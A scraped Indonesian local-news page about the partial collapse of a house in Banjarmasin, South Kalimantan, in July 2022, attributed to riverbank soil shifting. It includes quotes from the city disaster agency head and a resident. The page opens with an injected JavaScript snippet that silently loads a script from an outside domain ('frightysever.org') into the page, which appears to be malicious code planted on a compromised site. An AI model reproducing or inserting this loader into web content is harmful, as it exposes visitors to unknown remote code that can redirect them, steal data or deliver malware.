(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sebuah rumah satu lantai di Jalan Nakula VII RT 25 Kelurahan Pemurus Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin, Kalimantan Selatan, ambruk, Sabtu (30/7/2022) sekitar pukul 06.15 Wita.
Kuat dugaan rumah tersebut ambruk akibat abrasi tanah yang ada di bawah permukaan air sungai, ditambah pondasi rumah yang tidak mendukung.
Tidak ditemukan korban jiwa, tapi seluruh anggota keluarga harus dievakuasi ke rumah kerabatnya, karena kerusakan rumah mencapi 60 persen.
Baca juga: Warganet Geram Steam Kena Blokir, Muncul Tagar #BlokirKominfo
Pemilik rumah Ismed Inono mengalami kerugian yang ditaksir lebih dari Rp 25 juta rupiah akibat kerusakan yang terjadi.
Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarmasin, Fahruraji mengatakan, bangunan rumah tersebut nampak dari luar masih berdiri kokoh, hanya saja pada bagian dapurnya roboh dengan atap tersingkap yang membahayakan penghuni di dalamnya.
“Saat kami melihat langsung ke lapangan ternyata sesunduk rumah (tiang bangunan) mengalami patah,” ujar Fahruraji, Kalak BPBD Kota Banjarmasin, Sabtu (30/7/2022) siang.
Diungkapkan Fahruraji, kondisi air pasang yang terjadi selama beberapa hari terakhir berpengaruh terhadap tanah sebab mengalami pergeseran.
“Akibat pasang surut air yang terjadi selama beberapa hari belakangan, struktur tanah di bawah menjadi tidak mendukung lagi karena ada pergeseran,” lanjutnya.
Berkaitan hal itu pun BPBD Kota Banjarmasin sudah melakukan koordinasi bersama dengan instansi terkait, seperti Dinas Sosial dan Dinas Damkar terkait penanganan dan bantuan.
“Tadi kami bersama pihak terkait sudah berjibaku melakukan penanganan rumah dengan mengevakuasi anggota keluarga,” tandas Fahruraji.
Baca juga: Gubernur Sahbirin Buka Konferensi Provinsi PWI Kalsel 2022
Salah seorang warga di Jalan Nakula VII, Husna berpendapat bahwa kejadian tersebut merupakan dampak berkepanjangan dari bencana banjir yang sering melanda Kota Banjarmasin.
“Iya ini karena dampak jangka panjang dari banjir, makanya tanahnya labih di bawah,” ungkap Husna. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More
Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
This website uses cookies.